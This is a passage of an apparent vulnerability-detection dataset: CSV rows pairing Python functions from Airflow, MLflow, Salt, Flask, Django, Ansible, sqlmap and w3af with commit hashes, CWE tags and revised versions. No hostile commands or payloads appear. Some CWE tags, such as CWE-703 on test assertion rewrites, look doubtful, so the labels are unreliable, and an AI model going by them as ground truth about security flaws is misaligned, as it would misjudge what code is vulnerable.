            run_type=DagRunType.MANUAL,
            logical_date=DEFAULT_DATE + timedelta(days=i - 1),
            start_date=DEFAULT_DATE,
            data_interval=(DEFAULT_DATE, DEFAULT_DATE),
            external_trigger=True,
            state=DagRunState.SUCCESS,
        )
        for i in range(1, 1 + num)
    ]
    for dag_run in dag_runs:
        dag_run.end_date = DEFAULT_DATE
    session.add_all(dag_runs)
    session.commit()"
,UNKNOWN,UNKNOWN,tests/models.py,1,"def test_parms_not_passed_is_empty_dict(self):
        """"""
        Test that when 'params' is _not_ passed to a new Dag, that the params
        attribute is set to an empty dictionary.
        """"""
        dag = models.DAG('test-dag')

        self.assertEqual(dict, type(dag.params))
        self.assertEqual(0, len(dag.params))",CWE-703,apache/airflow,3ceb3abf166b77ea8baeb9015d33223143cdfb8a,"def test_parms_not_passed_is_empty_dict(self):
        """"""
        Test that when 'params' is _not_ passed to a new Dag, that the params
        attribute is set to an empty dictionary.
        """"""
        dag = models.DAG('test-dag')

        assert type(dag.params) == dict
        assert len(dag.params) == 0"
,UNKNOWN,UNKNOWN,tests/sensors/test_base.py,1,"def test_ok_with_reschedule(self, make_sensor, time_machine, task_reschedules_for_ti):
        sensor, dr = make_sensor(return_value=None, poke_interval=10, timeout=25, mode=""reschedule"")
        sensor.poke = Mock(side_effect=[False, False, True])

        # first poke returns False and task is re-scheduled
        date1 = timezone.utcnow()
        time_machine.move_to(date1, tick=False)
        self._run(sensor)
        tis = dr.get_task_instances()
        assert len(tis) == 2
        for ti in tis:
            if ti.task_id == SENSOR_OP:
                # verify task is re-scheduled, i.e. state set to NONE
                assert ti.state == State.UP_FOR_RESCHEDULE
                # verify task start date is the initial one
                assert ti.start_date == date1
                # verify one row in task_reschedule table
                task_reschedules = task_reschedules_for_ti(ti)
                assert len(task_reschedules) == 1
                assert task_reschedules[0].start_date == date1
                assert task_reschedules[0].reschedule_date == date1 + timedelta(seconds=sensor.poke_interval)
            if ti.task_id == DUMMY_OP:
                assert ti.state == State.NONE

        # second poke returns False and task is re-scheduled
        time_machine.coordinates.shift(sensor.poke_interval)
        date2 = date1 + timedelta(seconds=sensor.poke_interval)
        self._run(sensor)
        tis = dr.get_task_instances()
        assert len(tis) == 2
        for ti in tis:
            if ti.task_id == SENSOR_OP:
                # verify task is re-scheduled, i.e. state set to NONE
                assert ti.state == State.UP_FOR_RESCHEDULE
                # verify task start date is the initial one
                assert ti.start_date == date1
                # verify two rows in task_reschedule table
                task_reschedules = task_reschedules_for_ti(ti)
                assert len(task_reschedules) == 2
                assert task_reschedules[1].start_date == date2
                assert task_reschedules[1].reschedule_date == date2 + timedelta(seconds=sensor.poke_interval)
            if ti.task_id == DUMMY_OP:
                assert ti.state == State.NONE

        # third poke returns True and task succeeds
        time_machine.coordinates.shift(sensor.poke_interval)
        self._run(sensor)
        tis = dr.get_task_instances()
        assert len(tis) == 2
        for ti in tis:
            if ti.task_id == SENSOR_OP:
                assert ti.state == State.SUCCESS
                # verify task start date is the initial one
                assert ti.start_date == date1
            if ti.task_id == DUMMY_OP:
                assert ti.state == State.NONE",CWE-703,apache/airflow,29a9a24a5f05cce00e7b6dd6c436a8c98b88442a,"def test_ok_with_reschedule(self, make_sensor, time_machine, task_reschedules_for_ti):
        sensor, dr = make_sensor(return_value=None, poke_interval=10, timeout=25, mode=""reschedule"")
        sensor.poke = Mock(side_effect=[False, False, True])

        # first poke returns False and task is re-scheduled
        date1 = timezone.utcnow()
        time_machine.move_to(date1, tick=False)
        self._run(sensor)
        tis = dr.get_task_instances()
        assert len(tis) == 2
        for ti in tis:
            if ti.task_id == SENSOR_OP:
                # verify task is re-scheduled, i.e. state set to NONE
                assert ti.state == State.UP_FOR_RESCHEDULE
                # verify task start date is the initial one
                assert ti.start_date == date1
                # verify one row in task_reschedule table
                task_reschedules = task_reschedules_for_ti(ti)
                assert len(task_reschedules) == 1
                assert task_reschedules[0].start_date == date1
                assert task_reschedules[0].reschedule_date == date1 + timedelta(seconds=sensor.poke_interval)
            if ti.task_id == DUMMY_OP:
                assert ti.state == State.NONE

        # second poke returns False and task is re-scheduled
        time_machine.coordinates.shift(sensor.poke_interval)
        date2 = date1 + timedelta(seconds=sensor.poke_interval)
        self._run(sensor)
        tis = dr.get_task_instances()
        assert len(tis) == 2
        for ti in tis:
            if ti.task_id == SENSOR_OP:
                # verify task is re-scheduled, i.e. state set to NONE
                assert ti.state == State.UP_FOR_RESCHEDULE
                # verify task start date is the initial one
                assert ti.start_date == date1
                # verify two rows in task_reschedule table
                task_reschedules = task_reschedules_for_ti(ti)
                assert len(task_reschedules) == 2
                assert task_reschedules[1].start_date == date2
                assert task_reschedules[1].reschedule_date == date2 + timedelta(seconds=sensor.poke_interval)
            if ti.task_id == DUMMY_OP:
                assert ti.state == State.NONE

        # third poke returns True and task succeeds
        time_machine.coordinates.shift(sensor.poke_interval)
        self._run(sensor)
        tis = dr.get_task_instances()
        assert len(tis) == 2
        for ti in tis:
            if ti.task_id == SENSOR_OP:
                assert ti.state == State.SUCCESS
                # verify task start date is the initial one
                assert ti.start_date == date1
            if ti.task_id == DUMMY_OP:
                assert ti.state == State.NONE"
functions_for_w3af_with_cwe.csv,UNKNOWN,UNKNOWN,w3af/core/controllers/chrome/instrumented/event_listener.py,0,"def __getattr__(self, item):
        try:
            return self._event_as_dict[item]
        except KeyError:
            raise AttributeError('%s is not a known attribute' % item)",,andresriancho/w3af,9b52dd5c38356a7c8655caa87921a44f50bfaa7c,"def __getattr__(self, item):
        try:
            return self._event_as_dict[item]
        except KeyError:
            raise AttributeError('%s is not a known attribute' % item)"
functions_for_sqlmap_with_cwe.csv,UNKNOWN,UNKNOWN,plugins/dbms/mysql/syntax.py,0,"def escaper(value):
            if all(_ < 128 for _ in getOrds(value)):
                return ""0x%s"" % getUnicode(binascii.hexlify(getBytes(value)))
            else:
                return ""CONVERT(0x%s USING utf8)"" % getUnicode(binascii.hexlify(getBytes(value, ""utf8"")))",,sqlmapproject/sqlmap,eb3a3b4825e2593657602f3136c37d0b598e0bf8,"def escaper(value):
            if all(_ < 128 for _ in getOrds(value)):
                return ""0x%s"" % getUnicode(binascii.hexlify(getBytes(value)))
            else:
                return ""CONVERT(0x%s USING utf8)"" % getUnicode(binascii.hexlify(getBytes(value)))"
,UNKNOWN,UNKNOWN,tests/utils/test_requirements_utils.py,1,"def test_capture_imported_modules_extra_env_vars(monkeypatch):
    monkeypatch.setenv(""MLFLOW_REQUIREMENTS_INFERENCE_RAISE_ERRORS"", ""true"")

    class TestModel(mlflow.pyfunc.PythonModel):
        def predict(self, context, model_input, params=None):
            assert os.environ[""TEST""] == ""test""
            return model_input

    with mlflow.start_run():
        model_info = mlflow.pyfunc.log_model(
            ""model"",
            python_model=TestModel(),
            input_example=""test"",
            pip_requirements=[],
        )

    _capture_imported_modules(
        model_info.model_uri, mlflow.pyfunc.FLAVOR_NAME, extra_env_vars={""TEST"": ""test""}
    )",CWE-703,mlflow/mlflow,660a9058e0f7bac7e7145fe7b3447a9599323996,"def test_capture_imported_modules_extra_env_vars(monkeypatch):
    monkeypatch.setenv(""MLFLOW_REQUIREMENTS_INFERENCE_RAISE_ERRORS"", ""true"")

    class TestModel(mlflow.pyfunc.PythonModel):
        def predict(self, context, model_input, params=None):
            assert os.environ[""TEST""] == ""test""
            return model_input

    with mlflow.start_run():
        model_info = mlflow.pyfunc.log_model(
            ""model"",
            python_model=TestModel(),
            input_example=""test"",
            pip_requirements=[],
        )

    _capture_imported_modules(
        model_info.model_uri, mlflow.pyfunc.FLAVOR_NAME, extra_env_vars={""TEST"": ""test""}
    )"
,UNKNOWN,UNKNOWN,tests/unit/test_pydsl.py,1,"def test_load_highstate(self):
        result = self.render_sls(textwrap.dedent('''
            import yaml
            __pydsl__.load_highstate(yaml.load(""""""
            A:
              cmd.run:
                - name: echo hello
                - cwd: /
            B:
              pkg:
                - installed
              service:
                - running
                - require:
                  - pkg: B
                - watch:
                  - cmd: A
            """"""))

            state('A').cmd.run(name='echo hello world')
            '''))
        self.assertEqual(len(result), 3)
        self.assertEqual(result['A']['cmd'][0], 'run')
        self.assertIn({'name': 'echo hello'}, result['A']['cmd'])
        self.assertIn({'cwd': '/'}, result['A']['cmd'])
        self.assertIn({'name': 'echo hello world'}, result['A']['cmd'])
        self.assertEqual(len(result['A']['cmd']), 4)

        self.assertEqual(len(result['B']['pkg']), 1)
        self.assertEqual(result['B']['pkg'][0], 'installed')

        self.assertEqual(result['B']['service'][0], 'running')
        self.assertIn({'require': [{'pkg': 'B'}]}, result['B']['service'])
        self.assertIn({'watch': [{'cmd': 'A'}]}, result['B']['service'])
        self.assertEqual(len(result['B']['service']), 3)",CWE-20,saltstack/salt,594b7631f72dfe7c5a2c7a4b41a0400a738c235e,"def test_load_highstate(self):
        result = self.render_sls(textwrap.dedent('''
            import yaml
            __pydsl__.load_highstate(yaml.load(""""""
            A:
              cmd.run:
                - name: echo hello
                - cwd: /
            B:
              pkg:
                - installed
              service:
                - running
                - require:
                  - pkg: B
                - watch:
                  - cmd: A
            """"""))

            state('A').cmd.run(name='echo hello world')
            '''))
        self.assertEqual(len(result), 3)
        self.assertEqual(result['A']['cmd'][0], 'run')
        self.assertEqual(result['A']['cmd'][1]['name'], 'echo hello')
        self.assertEqual(result['A']['cmd'][2]['cwd'], '/')
        self.assertEqual(result['A']['cmd'][3]['name'], 'echo hello world')

        self.assertEqual(len(result['B']['pkg']), 1)
        self.assertEqual(result['B']['pkg'][0], 'installed')

        self.assertEqual(result['B']['service'][0], 'running')
        self.assertEqual(result['B']['service'][1]['require'][0]['pkg'], 'B')
        self.assertEqual(result['B']['service'][2]['watch'][0]['cmd'], 'A')"
functions_for_flask_with_cwe.csv,UNKNOWN,UNKNOWN,src/flask/json/__init__.py,0,"def loads(s, app=None, **kwargs):
    """"""Deserialize an object from a JSON-formatted string ``s``. If
    there is an app context pushed, use the current app's configured
    decoder (:attr:`~flask.Flask.json_decoder`), or fall back to the
    default :class:`JSONDecoder`.

    Takes the same arguments as the built-in :func:`json.loads`, and
    does some extra configuration based on the application. If the
    simplejson package is installed, it is preferred.

    :param s: JSON string to deserialize.
    :param app: App instance to use to configure the JSON decoder.
        Uses ``current_app`` if not given, and falls back to the default
        encoder when not in an app context.
    :param kwargs: Extra arguments passed to :func:`json.loads`.

    .. versionchanged:: 1.0.3

        ``app`` can be passed directly, rather than requiring an app
        context for configuration.
    """"""
    _load_arg_defaults(kwargs, app=app)
    if isinstance(s, bytes):
        encoding = kwargs.pop(""encoding"", None)
        if encoding is None:
            encoding = detect_encoding(s)
        s = s.decode(encoding)
    return _json.loads(s, **kwargs)",,pallets/flask,444550ab0c2ba8b1e003dee198b5628bc58302ce,"def loads(s, app=None, **kwargs):
    """"""Deserialize an object from a JSON-formatted string ``s``. If
    there is an app context pushed, use the current app's configured
    decoder (:attr:`~flask.Flask.json_decoder`), or fall back to the
    default :class:`JSONDecoder`.

    Takes the same arguments as the built-in :func:`json.loads`, and
    does some extra configuration based on the application. If the
    simplejson package is installed, it is preferred.

    :param s: JSON string to deserialize.
    :param app: App instance to use to configure the JSON decoder.
        Uses ``current_app`` if not given, and falls back to the default
        encoder when not in an app context.
    :param kwargs: Extra arguments passed to :func:`json.dumps`.

    .. versionchanged:: 1.0.3

        ``app`` can be passed directly, rather than requiring an app
        context for configuration.
    """"""
    _load_arg_defaults(kwargs, app=app)
    if isinstance(s, bytes):
        encoding = kwargs.pop(""encoding"", None)
        if encoding is None:
            encoding = detect_encoding(s)
        s = s.decode(encoding)
    return _json.loads(s, **kwargs)"
functions_for_ansible_with_cwe.csv,UNKNOWN,UNKNOWN,lib/ansible/playbook/block.py,0,"def set_loader(self, loader):
        self._loader = loader
        if self._parent:
            self._parent.set_loader(loader)
        elif self._role:
            self._role.set_loader(loader)

        dep_chain = self.get_dep_chain()
        if dep_chain:
            for dep in dep_chain:
                dep.set_loader(loader)",,ansible/ansible,0b7d78d67f962a2605c84a39fb3c8ef449701264,"def set_loader(self, loader):
        self._loader = loader
        if self._parent:
            self._parent.set_loader(loader)
        elif self._role:
            self._role.set_loader(loader)

        dep_chain = self.get_dep_chain()
        if dep_chain:
            for dep in dep_chain:
                dep.set_loader(loader)"
functions_for_flask_with_cwe.csv,UNKNOWN,UNKNOWN,src/flask/sessions.py,0,"def save_session(
        self, app: ""Flask"", session: SessionMixin, response: ""Response""
    ) -> None:
        name = self.get_cookie_name(app)
        domain = self.get_cookie_domain(app)
        path = self.get_cookie_path(app)
        secure = self.get_cookie_secure(app)
        samesite = self.get_cookie_samesite(app)
        httponly = self.get_cookie_httponly(app)

        # Add a ""Vary: Cookie"" header if the session was accessed at all.
        if session.accessed:
            response.vary.add(""Cookie"")

        # If the session is modified to be empty, remove the cookie.
        # If the session is empty, return without setting the cookie.
        if not session:
            if session.modified:
                response.delete_cookie(
                    name,
                    domain=domain,
                    path=path,
                    secure=secure,
                    samesite=samesite,
                    httponly=httponly,
                )
                response.vary.add(""Cookie"")

            return

        if not self.should_set_cookie(app, session):
            return

        expires = self.get_expiration_time(app, session)
        val = self.get_signing_serializer(app).dumps(dict(session))  # type: ignore
        response.set_cookie(
            name,
            val,  # type: ignore
            expires=expires,
            httponly=httponly,
            domain=domain,
            path=path,
            secure=secure,
            samesite=samesite,
        )
        response.vary.add(""Cookie"")",,pallets/flask,afd63b16170b7c047f5758eb910c416511e9c965,"def save_session(
        self, app: ""Flask"", session: SessionMixin, response: ""Response""
    ) -> None:
        name = self.get_cookie_name(app)
        domain = self.get_cookie_domain(app)
        path = self.get_cookie_path(app)
        secure = self.get_cookie_secure(app)
        samesite = self.get_cookie_samesite(app)
        httponly = self.get_cookie_httponly(app)

        # If the session is modified to be empty, remove the cookie.
        # If the session is empty, return without setting the cookie.
        if not session:
            if session.modified:
                response.delete_cookie(
                    name,
                    domain=domain,
                    path=path,
                    secure=secure,
                    samesite=samesite,
                    httponly=httponly,
                )

            return

        # Add a ""Vary: Cookie"" header if the session was accessed at all.
        if session.accessed:
            response.vary.add(""Cookie"")

        if not self.should_set_cookie(app, session):
            return

        expires = self.get_expiration_time(app, session)
        val = self.get_signing_serializer(app).dumps(dict(session))  # type: ignore
        response.set_cookie(
            name,
            val,  # type: ignore
            expires=expires,
            httponly=httponly,
            domain=domain,
            path=path,
            secure=secure,
            samesite=samesite,
        )"
functions_for_mlflow_with_cwe.csv,UNKNOWN,UNKNOWN,mlflow/models/utils.py,0,"def _read_example(mlflow_model: Model, path: str):
    """"""
    Read example from a model directory. Returns None if there is no example metadata (i.e. the
    model was saved without example). Raises FileNotFoundError if there is model metadata but the
    example file is missing.

    :param mlflow_model: Model metadata.
    :param path: Path to the model directory.
    :return: Input example or None if the model has no example.
    """"""
    if mlflow_model.saved_input_example_info is None:
        return None
    example_type = mlflow_model.saved_input_example_info[""type""]
    if example_type not in [""dataframe"", ""ndarray"", ""sparse_matrix_csc"", ""sparse_matrix_csr""]:
        raise MlflowException(
            ""This version of mlflow can not load example of type {}"".format(example_type)
        )
    input_schema = mlflow_model.signature.inputs if mlflow_model.signature is not None else None
    path = os.path.join(path, mlflow_model.saved_input_example_info[""artifact_path""])
    if example_type == ""ndarray"":
        return _read_tensor_input_from_json(path, schema=input_schema)
    elif example_type in [""sparse_matrix_csc"", ""sparse_matrix_csr""]:
        return _read_sparse_matrix_from_json(path, example_type)
    else:
        return _dataframe_from_json(path, schema=input_schema, precise_float=True)",,mlflow/mlflow,04e6c821d0655200b09a35c75cce4fde119abb58,"def _read_example(mlflow_model: Model, path: str):
    """"""
    Read example from a model directory. Returns None if there is no example metadata (i.e. the
    model was saved without example). Raises IO Exception if there is model metadata but the example
    file is missing.

    :param mlflow_model: Model metadata.
    :param path: Path to the model directory.
    :return: Input example or None if the model has no example.
    """"""
    if mlflow_model.saved_input_example_info is None:
        return None
    example_type = mlflow_model.saved_input_example_info[""type""]
    if example_type not in [""dataframe"", ""ndarray"", ""sparse_matrix_csc"", ""sparse_matrix_csr""]:
        raise MlflowException(
            ""This version of mlflow can not load example of type {}"".format(example_type)
        )
    input_schema = mlflow_model.signature.inputs if mlflow_model.signature is not None else None
    path = os.path.join(path, mlflow_model.saved_input_example_info[""artifact_path""])
    if example_type == ""ndarray"":
        return _read_tensor_input_from_json(path, schema=input_schema)
    elif example_type in [""sparse_matrix_csc"", ""sparse_matrix_csr""]:
        return _read_sparse_matrix_from_json(path, example_type)
    else:
        return _dataframe_from_json(path, schema=input_schema, precise_float=True)"
functions_for_django_with_cwe.csv,UNKNOWN,UNKNOWN,tests/admin_views/tests.py,0,"def test_generic_relations_with_related_query_name(self):
        """"""
        If a deleted object has GenericForeignKey with
        GenericRelation(related_query_name='...') pointing to it, those objects
        should be listed for deletion.
        """"""
        bookmark = Bookmark.objects.create(name='djangoproject')
        tag = FunkyTag.objects.create(content_object=bookmark, name='django')
        tag_url = reverse('admin:admin_views_funkytag_change', args=(tag.id,))
        should_contain = '<li>Funky tag: <a href=""%s"">django' % tag_url
        response = self.client.get(reverse('admin:admin_views_bookmark_delete', args=(bookmark.pk,)))
        self.assertContains(response, should_contain)",CWE-Unknown,django/django,8116e588dbdd17171a322da589b691bdf01f7041,"def test_generic_relations_with_related_query_name(self):
        """"""
        If a deleted object has GenericForeignKey with
        GenericRelation(related_query_name='...') pointing to it, those objects
        should be listed for deletion.
        """"""
        bookmark = Bookmark.objects.create(name='djangoproject')
        tag = FunkyTag.objects.create(content_object=bookmark, name='django')
        tag_url = reverse('admin:admin_views_funkytag_change', args=(tag.id,))
        should_contain = '<li>Funky tag: <a href=""%s"">django' % tag_url
        response = self.client.get(reverse('admin:admin_views_bookmark_delete', args=(bookmark.pk,)))
        self.assertContains(response, should_contain)"
,UNKNOWN,UNKNOWN,salt/runner.py,1,"def cmd_sync(self, low, timeout=None, full_return=False):
        '''
        Execute a runner function synchronously; eauth is respected

        This function requires that :conf_master:`external_auth` is configured
        and the user is authorized to execute runner functions: (``@runner``).

        .. code-block:: python

            runner.eauth_sync({
                'fun': 'jobs.list_jobs',
                'username': 'saltdev',
                'password': 'saltdev',
                'eauth': 'pam',
            })
        '''
        reformatted_low = self._reformat_low(low)
        return mixins.SyncClientMixin.cmd_sync(self, reformatted_low, timeout, full_return)",CWE-259,saltstack/salt,3ad69c8fabe76e45426950c99b6e43b28340f2f9,"def cmd_sync(self, low, timeout=None, full_return=False):
        '''
        Execute a runner function synchronously; eauth is respected

        This function requires that :conf_master:`external_auth` is configured
        and the user is authorized to execute runner functions: (``@runner``).

        .. code-block:: python

            runner.eauth_sync({
                'fun': 'jobs.list_jobs',
                'username': 'saltdev',
                'password': 'saltdev',
                'eauth': 'pam',
            })
        '''
        reformatted_low = self._reformat_low(low)
        return mixins.SyncClientMixin.cmd_sync(self, reformatted_low, timeout, full_return)"
,UNKNOWN,UNKNOWN,tools/ci.py,1,"def get_pr_test_labels(
    ctx: Context, repository: str = ""saltstack/salt"", pr: int = None
):
    """"""
    Set the pull-request labels.
    """"""
    gh_event_path = os.environ.get(""GITHUB_EVENT_PATH"") or None
    if gh_event_path is None:
        labels = _get_pr_test_labels_from_api(ctx, repository, pr=pr)
    else:
        if TYPE_CHECKING:
            assert gh_event_path is not None

        try:
            gh_event = json.loads(open(gh_event_path).read())
        except Exception as exc:
            ctx.error(
                f""Could not load the GH Event payload from {gh_event_path!r}:\n"", exc
            )
            ctx.exit(1)

        if ""pull_request"" not in gh_event:
            ctx.warn(""The 'pull_request' key was not found on the event payload."")
            ctx.exit(1)

        pr = gh_event[""pull_request""][""number""]
        labels = _get_pr_test_labels_from_event_payload(gh_event)

    if labels:
        ctx.info(f""Test labels for pull-request #{pr} on {repository}:"")
        for name, description in labels:
            ctx.info(f"" * [yellow]{name}[/yellow]: {description}"")
    else:
        ctx.info(f""No test labels for pull-request #{pr} on {repository}"")

    github_output = os.environ.get(""GITHUB_OUTPUT"")
    if github_output is None:
        ctx.exit(0)

    if TYPE_CHECKING:
        assert github_output is not None

    ctx.info(""Writing 'labels' to the github outputs file"")
    with open(github_output, ""a"", encoding=""utf-8"") as wfh:
        wfh.write(f""labels={json.dumps([label[0] for label in labels])}\n"")
    ctx.exit(0)",CWE-703,saltstack/salt,737a18edc67b49ac2b69611bb12a3b3d99b50a47,"def get_pr_test_labels(
    ctx: Context, repository: str = ""saltstack/salt"", pr: int = None
):
    """"""
    Set the pull-request labels.
    """"""
    gh_event_path = os.environ.get(""GITHUB_EVENT_PATH"") or None
    if gh_event_path is None:
        labels = _get_pr_test_labels_from_api(ctx, repository, pr=pr)
    else:
        if TYPE_CHECKING:
            assert gh_event_path is not None

        try:
            gh_event = json.loads(open(gh_event_path).read())
        except Exception as exc:
            ctx.error(
                f""Could not load the GH Event payload from {gh_event_path!r}:\n"", exc
            )
            ctx.exit(1)

        if ""pull_request"" not in gh_event:
            ctx.warning(""The 'pull_request' key was not found on the event payload."")
            ctx.exit(1)

        pr = gh_event[""pull_request""][""number""]
        labels = _get_pr_test_labels_from_event_payload(gh_event)

    if labels:
        ctx.info(f""Test labels for pull-request #{pr} on {repository}:"")
        for name, description in labels:
            ctx.info(f"" * [yellow]{name}[/yellow]: {description}"")
    else:
        ctx.info(f""No test labels for pull-request #{pr} on {repository}"")

    github_output = os.environ.get(""GITHUB_OUTPUT"")
    if github_output is None:
        ctx.exit(0)

    if TYPE_CHECKING:
        assert github_output is not None

    ctx.info(""Writing 'labels' to the github outputs file"")
    with open(github_output, ""a"", encoding=""utf-8"") as wfh:
        wfh.write(f""labels={json.dumps([label[0] for label in labels])}\n"")
    ctx.exit(0)"
functions_for_sqlmap_with_cwe.csv,UNKNOWN,UNKNOWN,lib/request/comparison.py,0,"def _comparison(page, headers, code, getRatioValue, pageLength):
    threadData = getCurrentThreadData()

    if kb.testMode:
        threadData.lastComparisonHeaders = listToStrValue(_ for _ in headers.headers if not _.startswith(""%s:"" % URI_HTTP_HEADER)) if headers else """"
        threadData.lastComparisonPage = page
        threadData.lastComparisonCode = code

    if page is None and pageLength is None:
        return None

    if any((conf.string, conf.notString, conf.regexp)):
        rawResponse = ""%s%s"" % (listToStrValue(_ for _ in headers.headers if not _.startswith(""%s:"" % URI_HTTP_HEADER)) if headers else """", page)

        # String to match in page when the query is True and/or valid
        if conf.string:
            return conf.string in rawResponse

        # String to match in page when the query is False and/or invalid
        if conf.notString:
            return conf.notString not in rawResponse

        # Regular expression to match in page when the query is True and/or valid
        if conf.regexp:
            return re.search(conf.regexp, rawResponse, re.I | re.M) is not None

    # HTTP code to match when the query is valid
    if conf.code:
        return conf.code == code

    seqMatcher = threadData.seqMatcher
    seqMatcher.set_seq1(kb.pageTemplate)

    if page:
        # In case of an DBMS error page return None
        if kb.errorIsNone and (wasLastResponseDBMSError() or wasLastResponseHTTPError()) and not kb.negativeLogic:
            return None

        # Dynamic content lines to be excluded before comparison
        if not kb.nullConnection:
            page = removeDynamicContent(page)
            seqMatcher.set_seq1(removeDynamicContent(kb.pageTemplate))

        if not pageLength:
            pageLength = len(page)

    if kb.nullConnection and pageLength:
        if not seqMatcher.a:
            errMsg = ""problem occurred while retrieving original page content ""
            errMsg += ""which prevents sqlmap from continuation. Please rerun, ""
            errMsg += ""and if the problem persists turn off any optimization switches""
            raise SqlmapNoneDataException(errMsg)

        ratio = 1. * pageLength / len(seqMatcher.a)

        if ratio > 1.:
            ratio = 1. / ratio
    else:
        # Preventing ""Unicode equal comparison failed to convert both arguments to Unicode""
        # (e.g. if one page is PDF and the other is HTML)
        if isinstance(seqMatcher.a, str) and isinstance(page, unicode):
            page = page.encode(kb.pageEncoding or DEFAULT_PAGE_ENCODING, ""ignore"")
        elif isinstance(seqMatcher.a, unicode) and isinstance(page, str):
            seqMatcher.a = seqMatcher.a.encode(kb.pageEncoding or DEFAULT_PAGE_ENCODING, ""ignore"")

        if seqMatcher.a and page and seqMatcher.a == page:
            ratio = 1
        elif kb.skipSeqMatcher or seqMatcher.a and page and any(len(_) > MAX_DIFFLIB_SEQUENCE_LENGTH for _ in (seqMatcher.a, page)):
            ratio = 1.0 * len(seqMatcher.a) / len(page)
            if ratio > 1:
                ratio = 1. / ratio
        else:
            seq1, seq2 = None, None

            if conf.titles:
                seq1 = extractRegexResult(HTML_TITLE_REGEX, seqMatcher.a)
                seq2 = extractRegexResult(HTML_TITLE_REGEX, page)
            else:
                seq1 = getFilteredPageContent(seqMatcher.a, True) if conf.textOnly else seqMatcher.a
                seq2 = getFilteredPageContent(page, True) if conf.textOnly else page

            if seq1 is None or seq2 is None:
                return None

            seq1 = seq1.replace(REFLECTED_VALUE_MARKER, """")
            seq2 = seq2.replace(REFLECTED_VALUE_MARKER, """")

            seqMatcher.set_seq1(seq1)
            seqMatcher.set_seq2(seq2)

            ratio = round(seqMatcher.quick_ratio(), 3)

    # If the url is stable and we did not set yet the match ratio and the
    # current injected value changes the url page content
    if kb.matchRatio is None:
        if ratio >= LOWER_RATIO_BOUND and ratio <= UPPER_RATIO_BOUND:
            kb.matchRatio = ratio
            logger.debug(""setting match ratio for current parameter to %.3f"" % kb.matchRatio)

    if kb.testMode:
        threadData.lastComparisonRatio = ratio

    # If it has been requested to return the ratio and not a comparison
    # response
    if getRatioValue:
        return ratio

    elif ratio > UPPER_RATIO_BOUND:
        return True

    elif ratio < LOWER_RATIO_BOUND:
        return False

    elif kb.matchRatio is None:
        return None

    else:
        return (ratio - kb.matchRatio) > DIFF_TOLERANCE",,sqlmapproject/sqlmap,8cef17b583c700a4f8419531e945d7950a767314,"def _comparison(page, headers, code, getRatioValue, pageLength):
    threadData = getCurrentThreadData()

    if kb.testMode:
        threadData.lastComparisonHeaders = listToStrValue(_ for _ in headers.headers if not _.startswith(""%s:"" % URI_HTTP_HEADER)) if headers else """"
        threadData.lastComparisonPage = page
        threadData.lastComparisonCode = code

    if page is None and pageLength is None:
        return None

    if any((conf.string, conf.notString, conf.regexp)):
        rawResponse = ""%s%s"" % (listToStrValue(_ for _ in headers.headers if not _.startswith(""%s:"" % URI_HTTP_HEADER)) if headers else """", page)

        # String to match in page when the query is True and/or valid
        if conf.string:
            return conf.string in rawResponse

        # String to match in page when the query is False and/or invalid
        if conf.notString:
            return conf.notString not in rawResponse

        # Regular expression to match in page when the query is True and/or valid
        if conf.regexp:
            return re.search(conf.regexp, rawResponse, re.I | re.M) is not None

    # HTTP code to match when the query is valid
    if conf.code:
        return conf.code == code

    seqMatcher = threadData.seqMatcher
    seqMatcher.set_seq1(kb.pageTemplate)

    if page:
        # In case of an DBMS error page return None
        if kb.errorIsNone and (wasLastResponseDBMSError() or wasLastResponseHTTPError()) and not kb.negativeLogic:
            return None

        # Dynamic content lines to be excluded before comparison
        if not kb.nullConnection:
            page = removeDynamicContent(page)
            seqMatcher.set_seq1(removeDynamicContent(kb.pageTemplate))

        if not pageLength:
            pageLength = len(page)

    if kb.nullConnection and pageLength:
        if not seqMatcher.a:
            errMsg = ""problem occurred while retrieving original page content ""
            errMsg += ""which prevents sqlmap from continuation. Please rerun, ""
            errMsg += ""and if the problem persists turn off any optimization switches""
            raise SqlmapNoneDataException(errMsg)

        ratio = 1. * pageLength / len(seqMatcher.a)

        if ratio > 1.:
            ratio = 1. / ratio
    else:
        # Preventing ""Unicode equal comparison failed to convert both arguments to Unicode""
        # (e.g. if one page is PDF and the other is HTML)
        if isinstance(seqMatcher.a, str) and isinstance(page, unicode):
            page = page.encode(kb.pageEncoding or DEFAULT_PAGE_ENCODING, 'ignore')
        elif isinstance(seqMatcher.a, unicode) and isinstance(page, str):
            seqMatcher.a = seqMatcher.a.encode(kb.pageEncoding or DEFAULT_PAGE_ENCODING, 'ignore')

        if seqMatcher.a and page and seqMatcher.a == page:
            ratio = 1
        elif kb.skipSeqMatcher or seqMatcher.a and page and any(len(_) > MAX_DIFFLIB_SEQUENCE_LENGTH for _ in (seqMatcher.a, page)):
            ratio = 1.0 * len(seqMatcher.a) / len(page)
            if ratio > 1:
                ratio = 1. / ratio
        else:
            seq1, seq2 = None, None

            if conf.titles:
                seq1 = extractRegexResult(HTML_TITLE_REGEX, seqMatcher.a)
                seq2 = extractRegexResult(HTML_TITLE_REGEX, page)
            else:
                seq1 = getFilteredPageContent(seqMatcher.a, True) if conf.textOnly else seqMatcher.a
                seq2 = getFilteredPageContent(page, True) if conf.textOnly else page

            if seq1 is None or seq2 is None:
                return None

            seq1 = seq1.replace(REFLECTED_VALUE_MARKER, """")
            seq2 = seq2.replace(REFLECTED_VALUE_MARKER, """")

            seqMatcher.set_seq1(seq1)
            seqMatcher.set_seq2(seq2)

            ratio = round(seqMatcher.quick_ratio(), 3)

    # If the url is stable and we did not set yet the match ratio and the
    # current injected value changes the url page content
    if kb.matchRatio is None:
        if ratio >= LOWER_RATIO_BOUND and ratio <= UPPER_RATIO_BOUND:
            kb.matchRatio = ratio
            logger.debug(""setting match ratio for current parameter to %.3f"" % kb.matchRatio)

    if kb.testMode:
        threadData.lastComparisonRatio = ratio

    # If it has been requested to return the ratio and not a comparison
    # response
    if getRatioValue:
        return ratio

    elif ratio > UPPER_RATIO_BOUND:
        return True

    elif ratio < LOWER_RATIO_BOUND:
        return False

    elif kb.matchRatio is None:
        return None

    else:
        return (ratio - kb.matchRatio) > DIFF_TOLERANCE"
functions_for_salt_with_cwe.csv,UNKNOWN,UNKNOWN,salt/pillar/rethinkdb_pillar.py,0,"def ext_pillar(
    minion_id, pillar, table=""pillar"", id_field=None, field=None, pillar_key=None
):
    """"""
    Collect minion external pillars from a RethinkDB database

    Arguments:

    * `table`: The RethinkDB table containing external pillar information.
      Defaults to ``'pillar'``
    * `id_field`: Field in document containing the minion id.
      If blank then we assume the table index matches minion ids
    * `field`: Specific field in the document used for pillar data, if blank
      then the entire document will be used
